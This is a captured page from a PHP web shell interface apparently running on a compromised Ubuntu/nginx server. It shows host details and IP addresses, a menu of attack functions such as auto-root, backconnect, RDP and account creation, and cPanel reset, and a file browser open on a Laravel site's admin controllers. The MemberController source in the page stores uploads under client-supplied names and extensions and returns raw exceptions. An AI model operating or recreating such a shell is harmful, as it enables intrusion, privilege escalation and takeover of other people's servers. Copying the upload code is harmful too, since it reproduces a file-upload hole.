Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
new_tlmf /
app /
Http /
Controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutusController.php
4.59
KB
-rw-rw-r--
AdminController.php
233
B
-rw-rw-r--
AlbumController.php
7.63
KB
-rw-rw-r--
CarousellController.php
4.41
KB
-rw-rw-r--
CommitteeController.php
7.94
KB
-rw-rw-r--
CommitteeTypeController.php
4.3
KB
-rw-rw-r--
ContactPersonController.php
5.13
KB
-rw-rw-r--
MasterCommitteeController.php
3.55
KB
-rw-rw-r--
MemberController.php
6.21
KB
-rw-rw-r--
MemberTypeController.php
3.14
KB
-rw-rw-r--
NewsController.php
4.41
KB
-rw-rw-r--
NoticeController.php
4.47
KB
-rw-rw-r--
SetupController.php
3.82
KB
-rw-rw-r--
VideoController.php
4
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MemberController.php
<?php namespace App\Http\Controllers\admin; use App\Models\Member; use App\Models\MemberType; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Http\Requests\MemberRequest; use Image; class MemberController extends Controller { public function index() { try{ $member = Member::with('member_types')->latest()->get(); return view('admin.member.index',compact('member')); }catch(\Exception $e){ return $e; return redirect()->back()->with('error',"Something Went Wrong"); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { try{ $member_types = MemberType::all(); if($member_types->count() < 1){ return view('admin.member_type.create') ->with('error',"Please Add Member Types First"); }else{ return view('admin.member.create',compact('member_types')); } }catch(\Exception $e){ return $e; return redirect()->back()->with('error',"Please Check your input and try again."); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(MemberRequest $request) { try{ $input['name'] = $request->name; $input['name_np']=$request->name_np; $input['name_prefix']=$request->name_prefix; $input['full_address'] = $request->full_address; $input['phone'] = $request->phone; $input['email'] = $request->email; $input['since'] = $request->since; $input['till'] = $request->till; $input['description'] = $request->description; $input['description_np'] = $request->description_np; $input['member_types_id'] = $request->member_types_id; if ($image = $request->file('image')) { // $img = Image::make($image->getRealPath()); // // $width = $img->width(); // // $height = $img->height(); // $img->orientate(); // // if ($width >= $height) { // // $img->resize(1200, null, function ($constraint) { $constraint->aspectRatio(); }); // // } else { // $img->resize(null, 1200, function ($constraint) { $constraint->aspectRatio(); $constraint->upsize(); }); // // } $destinationPath = 'uploads/'; $profileImage = date('YmdHis') . "." . $image->getClientOriginalExtension(); $image->move($destinationPath, $profileImage); $input['image'] = "$profileImage"; } member::create($input); return redirect()->route('members.create')->with('success','member Posted Successfully'); }catch(\Exception $e){ return $e; return redirect()->route('members.index')->with('error',"SomeThing Went Wrong"); } } /** * Display the specified resource. * * @param \App\Models\member $member * @return \Illuminate\Http\Response */ public function show(Member $member) { // } /** * Show the form for editing the specified resource. * * @param \App\Models\member $member * @return \Illuminate\Http\Response */ public function edit(Member $member) { $member_types = MemberType::all(); return view('admin.member.edit',compact('member','member_types')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Models\member $member * @return \Illuminate\Http\Response */ public function update(MemberRequest $request, member $member) { try{ $input['id'] = $request->id; $input['name'] = $request->name; $input['name_np']=$request->name_np; $input['name_prefix']=$request->name_prefix; $input['full_address'] = $request->full_address; $input['phone'] = $request->phone; $input['email'] = $request->email; $input['since'] = $request->since; $input['till'] = $request->till; $input['description'] = $request->description; $input['description_np'] = $request->description_np; $input['member_types_id'] = $request->member_types_id; if ($file = $request->file('image')) { $destinationPath = 'uploads/'; $profileImage = $file->getClientOriginalName(); $file->move($destinationPath, $profileImage); $input['image'] = "$profileImage"; }else{ unset($input['image']); } $member->update($input); return redirect()->route('members.index') ->with('success','member updated successfully'); }catch(\Exception $e){ return redirect()->route('members.index')->with('error','Something Went Wrong'); } } /** * Remove the specified resource from storage. * * @param \App\Models\member $member * @return \Illuminate\Http\Response */ public function destroy(Member $member) { try{ $member->delete(); return back()->with('success',"SuccessFully Deleted"); }catch(\Exception $e){ return redirect()->route('members.index')->with('error',"Something Went Wrong"); } } }
Close